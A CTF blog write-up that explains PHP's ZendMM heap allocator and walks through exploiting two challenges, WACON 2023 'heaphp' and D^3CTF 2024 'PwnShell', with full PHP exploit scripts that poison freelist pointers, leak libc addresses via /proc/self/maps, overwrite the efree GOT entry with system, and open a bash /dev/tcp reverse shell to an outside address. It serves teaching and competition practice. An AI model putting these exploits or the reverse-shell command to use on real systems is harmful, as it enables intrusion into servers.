K's Map

A Brief Introduction to PHP Heap Exploitation

  • pwn
  • php
  • wp

It’s my first time encountering this fancy pwn challenge, known as Web Pwn, at WACON 2023. I have little experience with PHP coding, so it took me a long time to figure out how ZendMM actually works.

The Memory Management of Zend Engine

PHP code is interpreted by the Zend engine. Instead of directly using traditional malloc and free to manage memory, Zend uses ZendMM to allocate and release memory through emalloc and efree, which is tailored to PHP’s request-bound memory model (that’s another topic).

Basic Structure

As written in the zend_alloc.c source code, all allocations are split into three categories: huge, large and small. Remember that zend_alloc allocates memory from the OS in CHUNKS of 2 MB. Huge allocs are those that exceed the chunk size, and zend_alloc uses mmap to allocate one. The concept of PAGE is commonly used in ZendMM, and a page usually holds 4 KB. That is to say, a chunk contains 512 pages. Small allocs are less than 3/4 of a page. The rest are large allocs.

Each time a chunk is allocated, the first page of the chunk is used to record basic information about the chunk. The structure that records this information is _zend_mm_chunk (which doesn’t appear in a huge chunk).

struct _zend_mm_chunk {
	zend_mm_heap      *heap;
	zend_mm_chunk     *next;
	zend_mm_chunk     *prev;
	uint32_t           free_pages;				/* number of free pages */
	uint32_t           free_tail;               /* number of free pages at the end of chunk */
	uint32_t           num;
	char               reserve[64 - (sizeof(void*) * 3 + sizeof(uint32_t) * 3)];
	zend_mm_heap       heap_slot;               /* used only in main chunk */
	zend_mm_page_map   free_map;                /* 512 bits or 64 bytes */
	zend_mm_page_info  map[ZEND_MM_PAGES];      /* 2 KB = 512 * 4 */
};

All the chunks form a doubly linked list (*next, *prev). A chunk records usage information about its 512 pages through zend_mm_page_map and zend_mm_page_info. Also, the zend_mm_heap structure merits attention.

struct _zend_mm_heap {
#if ZEND_MM_CUSTOM
	int                use_custom_heap;
#endif
#if ZEND_MM_STORAGE
	zend_mm_storage   *storage;
#endif
#if ZEND_MM_STAT
	size_t             size;                    /* current memory usage */
	size_t             peak;                    /* peak memory usage */
#endif
	zend_mm_free_slot *free_slot[ZEND_MM_BINS]; /* free lists for small sizes */
#if ZEND_MM_STAT || ZEND_MM_LIMIT
	size_t             real_size;               /* current size of allocated pages */
#endif
#if ZEND_MM_STAT
	size_t             real_peak;               /* peak size of allocated pages */
#endif
#if ZEND_MM_LIMIT
	size_t             limit;                   /* memory limit */
	int                overflow;                /* memory overflow flag */
#endif

	zend_mm_huge_list *huge_list;               /* list of huge allocated blocks */

	zend_mm_chunk     *main_chunk;
	zend_mm_chunk     *cached_chunks;			/* list of unused chunks */
	int                chunks_count;			/* number of allocated chunks */
	int                peak_chunks_count;		/* peak number of allocated chunks for current request */
	int                cached_chunks_count;		/* number of cached chunks */
	double             avg_chunks_count;		/* average number of chunks allocated per request */
	int                last_chunks_delete_boundary; /* number of chunks after last deletion */
	int                last_chunks_delete_count;    /* number of deletion over the last boundary */
#if ZEND_MM_CUSTOM
	union {
		struct {
			void      *(*_malloc)(size_t);
			void       (*_free)(void*);
			void      *(*_realloc)(void*, size_t);
		} std;
		struct {
			void      *(*_malloc)(size_t ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
			void       (*_free)(void*  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
			void      *(*_realloc)(void*, size_t  ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC);
		} debug;
	} custom_heap;
	HashTable *tracked_allocs;
#endif
};

Mind the zend_mm_free_slot. ZEND_MM_BINS is usually 30, which means there are 30 fixed sizes for small runs. As a result, there are 30 singly linked lists.

Vulnerable Small Runs

We mainly focus on small runs, because they are vulnerable.

static zend_never_inline void *zend_mm_alloc_small_slow(zend_mm_heap *heap, uint32_t bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
	/*
		omitted...
	*/
    
	chunk = (zend_mm_chunk*)ZEND_MM_ALIGNED_BASE(bin, ZEND_MM_CHUNK_SIZE);
	page_num = ZEND_MM_ALIGNED_OFFSET(bin, ZEND_MM_CHUNK_SIZE) / ZEND_MM_PAGE_SIZE;
	chunk->map[page_num] = ZEND_MM_SRUN(bin_num);
	if (bin_pages[bin_num] > 1) {
		uint32_t i = 1;

		do {
			chunk->map[page_num+i] = ZEND_MM_NRUN(bin_num, i);
			i++;
		} while (i < bin_pages[bin_num]);
	}

	/* create a linked list of elements from 1 to last */
	end = (zend_mm_free_slot*)((char*)bin + (bin_data_size[bin_num] * (bin_elements[bin_num] - 1)));
	heap->free_slot[bin_num] = p = (zend_mm_free_slot*)((char*)bin + bin_data_size[bin_num]);
	do {
		p->next_free_slot = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
#if ZEND_DEBUG
		do {
			zend_mm_debug_info *dbg = (zend_mm_debug_info*)((char*)p + bin_data_size[bin_num] - ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));
			dbg->size = 0;
		} while (0);
#endif
		p = (zend_mm_free_slot*)((char*)p + bin_data_size[bin_num]);
	} while (p != end);

	/*
		omitted...
	*/
}

This function is mainly used for building the small run chain when allocating a chunk. It explains how the 30 singly linked chains are built. Because each element of the chain has no size header, only a forward pointer, we may find a weird layout in memory (compared with glibc).

image-20230914220353292

When we allocate a small run:

static zend_always_inline void *zend_mm_alloc_small(zend_mm_heap *heap, int bin_num ZEND_FILE_LINE_DC ZEND_FILE_LINE_ORIG_DC)
{
#if ZEND_MM_STAT
	do {
		size_t size = heap->size + bin_data_size[bin_num];
		size_t peak = MAX(heap->peak, size);
		heap->size = size;
		heap->peak = peak;
	} while (0);
#endif

	if (EXPECTED(heap->free_slot[bin_num] != NULL)) {
		zend_mm_free_slot *p = heap->free_slot[bin_num];
		heap->free_slot[bin_num] = p->next_free_slot;
		return p;
	} else {
		return zend_mm_alloc_small_slow(heap, bin_num ZEND_FILE_LINE_RELAY_CC ZEND_FILE_LINE_ORIG_RELAY_CC);
	}
}

When we release a small run:

static zend_always_inline void zend_mm_free_small(zend_mm_heap *heap, void *ptr, int bin_num)
{
	zend_mm_free_slot *p;

#if ZEND_MM_STAT
	heap->size -= bin_data_size[bin_num];
#endif

#if ZEND_DEBUG
	do {
		zend_mm_debug_info *dbg = (zend_mm_debug_info*)((char*)ptr + bin_data_size[bin_num] - ZEND_MM_ALIGNED_SIZE(sizeof(zend_mm_debug_info)));
		dbg->size = 0;
	} while (0);
#endif

	p = (zend_mm_free_slot*)ptr;
	p->next_free_slot = heap->free_slot[bin_num];
	heap->free_slot[bin_num] = p;
}

Both of the functions lack security checks. If we replace its fd with our target address, we get an arbitrary-address allocation! That makes small runs vulnerable.

WACON 2023 - heaphp

As in a typical PHP pwn challenge, we are given a Docker environment and a vulnerable PHP extension module, heaphp.so.

It took me quite a long time to build a local PHP environment following the guides on blogs. I compiled PHP locally, aiming to debug it easily. This document helped a lot. However, if you try to compile PHP with debug symbols, the ABI of the binary will change, which prevents your extension from loading properly. That’s actually what I encountered.

So what’s the point of it? I don’t know.

Reverse

All protections are on except Partial RELRO. The extension mainly consists of five functions: add, view, edit, list, delete. Because of the Zend engine, the pseudo-code is hard to understand (especially for noobs like me). There is tons of code of uncertain significance, such as:

image-20230914223544720

Then we must dig into the basic data types in Zend. That’s _zend_value and _zval_struct.

typedef union _zend_value {
	zend_long         lval;				/* long value */
	double            dval;				/* double value */
	zend_refcounted  *counted;
	zend_string      *str;
	zend_array       *arr;
	zend_object      *obj;
	zend_resource    *res;
	zend_reference   *ref;
	zend_ast_ref     *ast;
	zval             *zv;
	void             *ptr;
	zend_class_entry *ce;
	zend_function    *func;
	struct {
		uint32_t w1;
		uint32_t w2;
	} ww;
} zend_value;

struct _zval_struct {
	zend_value        value;			/* value */
	union {
		uint32_t type_info;
		struct {
			ZEND_ENDIAN_LOHI_3(
				zend_uchar    type,			/* active type */
				zend_uchar    type_flags,
				union {
					uint16_t  extra;        /* not further specified */
				} u)
		} v;
	} u1;
	union {
		uint32_t     next;                 /* hash collision chain */
		uint32_t     cache_slot;           /* cache slot (for RECV_INIT) */
		uint32_t     opline_num;           /* opline number (for FAST_CALL) */
		uint32_t     lineno;               /* line number (for ast nodes) */
		uint32_t     num_args;             /* arguments number for EX(This) */
		uint32_t     fe_pos;               /* foreach position */
		uint32_t     fe_iter_idx;          /* foreach iterator index */
		uint32_t     property_guard;       /* single property guard */
		uint32_t     constant_flags;       /* constant flags */
		uint32_t     extra;                /* not further specified */
	} u2;
};

It’s quite a complex structure. If we replace the meaningless __int64 xx with the corresponding Zend data types, it will be easier to understand.

By the way, the parameter form looks weird.

image-20230914225045011

It doesn’t mean it takes exactly two parameters. In fact, a1 stands for the input args (parsed by something like zend_parse_arg), while a2 stands for the return values. We may set the type of a1 to zend_execute_data * and a2 to zval *. In practice, I set a1 to be _zval_struct * for better understanding.

After checking the declaration, the meaning of the following parts is clear (take zif_add_note as an example).

image-20230915121612049

v2 represents the total number of parameters, and here it should be two.

image-20230915121952724

Here comes a type check. Referring to the table, we find that ‘6’ represents a string. So arg1 should be a string pointer, and will be copied to v4.

Vulnerability

zif_add_note uses strlen to calculate the length of the input string and allocates the corresponding amount of memory. However, when using memcpy to copy the content, the third argument is the actual length of the string. The consequence is that the string can be truncated by a NULL byte, which means we can overwrite the fd of the following chunk.

zif_add_note also contains an off-by-NULL vulnerability. But who cares?

Exploitation

Since Partial RELRO is on, we can overwrite the GOT. Before that, we must leak the address of heaphp.so and libc.so.

Debuging Tricks

To load the target extension, you should put the extension in the correct path. To find the path, run

$ php -i | grep -i extension_dir

Then modify the php.ini file. You can find it in the root directory.

$ sudo find / -name "php.ini"

Add the config at the end of the file.

extension=heaphp.so

After that, you can check if it’s properly loaded by running phpinfo() or by checking /proc/[pid]/maps when running PHP.

To debug the extension, we run php with gdb attached first

$ gdb php

Then we run it and press Ctrl+C to interrupt it. Check vmmap; you may find that heaphp.so is loaded.

We can set breakpoints now. Don’t forget to set our exploit script as an argument.

$ set args ./exp.php
$ b zif_add_notes
$ run

You can also write them in a gdb script.

Address Leak

By overwriting the content pointer of any note, we can read the contents of an arbitrary address via zif_view_note.

As a first step, we can leak an fd pointer (by zif_view_note or zif_list_note). Our heap memory is allocated anonymously via mmap, and it doesn’t have a constant offset from libc.so or heaphp.so.

image-20230915150945514

However, we may find a pointer related to libc.so or heaphp.so on the heap. It could be extremely hard to find one by analyzing the source code. But I found a useful tool in pwndbg.

usage: leakfind [-h] [-p [PAGE_NAME]] [-o [MAX_OFFSET]] [-d [MAX_DEPTH]] [-s [STEP]] [--negative_offset [NEGATIVE_OFFSET]] address

leakfind is a powerful tool for leaking addresses from a given start address, with which we can find some libc pointers on the heap.

image-20230915151632552

After obtaining the libc address, we get the heaphp.so base since they are at a constant offset, and then we can overwrite the _efree@got.plt entry in heaphp.so with the actual address of system in libc.so.

Payload

It’s not the final version because functions like chr() are banned in the Docker container, and getting a shell is usually not allowed in PHP pwn. I kept them to make it more readable.

<?php
	// function mychr($index){
	// 	return ['\x00', '\x01', '\x02', '\x03', '\x04', '\x05', '\x06', '\x07', '\x08', '\t', '\n', '\x0b', '\x0c', '\r', '\x0e', '\x0f', '\x10', '\x11', '\x12', '\x13', '\x14', '\x15', '\x16', '\x17', '\x18', '\x19', '\x1a', '\x1b', '\x1c', '\x1d', '\x1e', '\x1f', ' ', '!', '"', '#', '$', '%', '&', "'", '(', ')', '*', '+', ',', '-', '.', '/', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', ':', ';', '<', '=', '>', '?', '@', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '[', '\\', ']', '^', '_', '`', 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', '{', '|', '}', '~', '\x7f', '\x80', '\x81', '\x82', '\x83', '\x84', '\x85', '\x86', '\x87', '\x88', '\x89', '\x8a', '\x8b', '\x8c', '\x8d', '\x8e', '\x8f', '\x90', '\x91', '\x92', '\x93', '\x94', '\x95', '\x96', '\x97', '\x98', '\x99', '\x9a', '\x9b', '\x9c', '\x9d', '\x9e', '\x9f', '\xa0', '¡', '¢', '£', '¤', '¥', '¦', '§', '¨', '©', 'ª', '«', '¬', '\xad', '®', '¯', '°', '±', '²', '³', '´', 'µ', '¶', '·', '¸', '¹', 'º', '»', '¼', '½', '¾', '¿', 'À', 'Á', 'Â', 'Ã', 'Ä', 'Å', 'Æ', 'Ç', 'È', 'É', 'Ê', 'Ë', 'Ì', 'Í', 'Î', 'Ï', 'Ð', 'Ñ', 'Ò', 'Ó', 'Ô', 'Õ', 'Ö', '×', 'Ø', 'Ù', 'Ú', 'Û', 'Ü', 'Ý', 'Þ', 'ß', 'à', 'á', 'â', 'ã', 'ä', 'å', 'æ', 'ç', 'è', 'é', 'ê', 'ë', 'ì', 'í', 'î', 'ï', 'ð', 'ñ', 'ò', 'ó', 'ô', 'õ', 'ö', '÷', 'ø', 'ù', 'ú', 'û', 'ü', 'ý', 'þ', 'ÿ'][$index];
	// }

	function tobytes($integerValue, $byteLength) {
	    $byteString = '';
	    for ($i = 0; $i < $byteLength; $i++) {
	        $byteString .= chr($integerValue & 0xFF);
	        $integerValue >>= 8;
	    }
	    return $byteString;
	}

	add_note("number0","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa");
	add_note("number1","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaa");
	delete_note(0);
add_note("number0","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaa\x00/bin/shacaaadaaaeaaafaaagaaahaaaiaaajaaa");

	$fd=list_note();
	$fd = $fd[1];
	$decimalValue = 0;

	for ($i = 1; $i <= 6; $i++) {
	    $char = $fd[-$i];
	    $digit = ord($char);
	    $decimalValue = ($decimalValue << 8) | $digit;
	}
	
	$heap_base = $decimalValue - 0x1480;
	$target_libc = $heap_base + 0x82000; 

	delete_note(0);
add_note("number0","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaa\x00aaaabaaacaaadaaaeaaafaaagaaahaaa\xff\x00\x00\x00\x00\x00\x00\x00" . tobytes($target_libc,8));
	$libc_off = view_note(1);
	$libc = 0;

	for ($i = 5; $i >= 0; $i--) {
	    $char = $libc_off[$i];
	    $digit = ord($char);
	    $libc = ($libc << 8) | $digit;
	}	
	$libc -= 0x219aa0;
	printf("%x",$libc);

	$heaphp_base = $libc + 0x7af000;
	$sys_addr = $libc + 0x50d60;
	$efree_got_addr = $heaphp_base + 0x4058;
	delete_note(0);
add_note("number0","aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaa\x00aaaabaaacaaadaaaeaaafaaagaaahaaa\xff\x00\x00\x00\x00\x00\x00\x00" . tobytes($efree_got_addr,8));
	add_note("./readflag","/bin/sh");
	edit_note(1,tobytes($sys_addr,8));
	delete_note(2);

?>	

D^3CTF 2024 - PwnShell

I came up with this pwnable challenge at D^3CTF 2024, as an entry-level PHP pwn challenge. To make it more interesting, I wrapped it in a simple file-upload web challenge.

There is an off-by-NULL in the addHacker function. Triggering it lets us forge a fake fd and create a heap overlap to get an arbitrary-address write primitive. Then we are able to overwrite the GOT entry for efree and call system.

By the way, the libc address leak can be obtained by including /proc/self/maps or by leaking certain pointers on the heap. Those are two typical ways to obtain an address leak in PHP pwn.

<?php  
$heap_base = 0;  
$libc_base = 0;  
$libc = "";  
$mbase = "";  
  
function u64($leak){  
    $leak = strrev($leak);  
    $leak = bin2hex($leak);  
    $leak = hexdec($leak);  
    return $leak;  
}  
  
function p64($addr){  
    $addr = dechex($addr);  
    $addr = hex2bin($addr);  
    $addr = strrev($addr);  
    $addr = str_pad($addr, 8, "\x00");  
    return $addr;  
}  
  
function leakaddr($buffer){  
    global $libc,$mbase;  
    $p = '/([0-9a-f]+)\-[0-9a-f]+ .* \/usr\/lib\/x86_64-linux-gnu\/libc.so.6/';  
    $p1 = '/([0-9a-f]+)\-[0-9a-f]+ .*  \/usr\/local\/lib\/php\/extensions\/no-debug-non-zts-20230831\/vuln.so/';  
    preg_match_all($p, $buffer, $libc);  
    preg_match_all($p1, $buffer, $mbase);  
    return "";  
}  
  
function leak(){  
    global $libc_base, $module_base, $libc, $mbase;  
  
    ob_start("leakaddr");  
    include("/proc/self/maps");  
    $buffer = ob_get_contents();  
    ob_end_flush();  
    leakaddr($buffer);  
    $libc_base=hexdec($libc[1][0]);  
    $module_base=hexdec($mbase[1][0]);  
}  
function attack($cmd){  
    global $libc_base, $module_base;  
    $payload = str_pad(p64($module_base + 0x4038).p64(0xff), 0x40, "\x90");  
    $gadget = p64($libc_base + 0x4c490);  
    addHacker(str_repeat("\x90", 0x8), str_repeat("\x90", 0x30));  
    addHacker($payload, str_repeat("\x90", 0x2f));  
    addHacker(str_pad($cmd, 0x20, "\x00"), "114514");  
    editHacker(0, $gadget);  
}  
function main(){  
    $cmd = 'bash -c "bash -i >& /dev/tcp/114.514.19.19/810 0>&1"';  
    leak();  
    attack($cmd);  
    removeHacker(2);  
}  
  
main();  
?>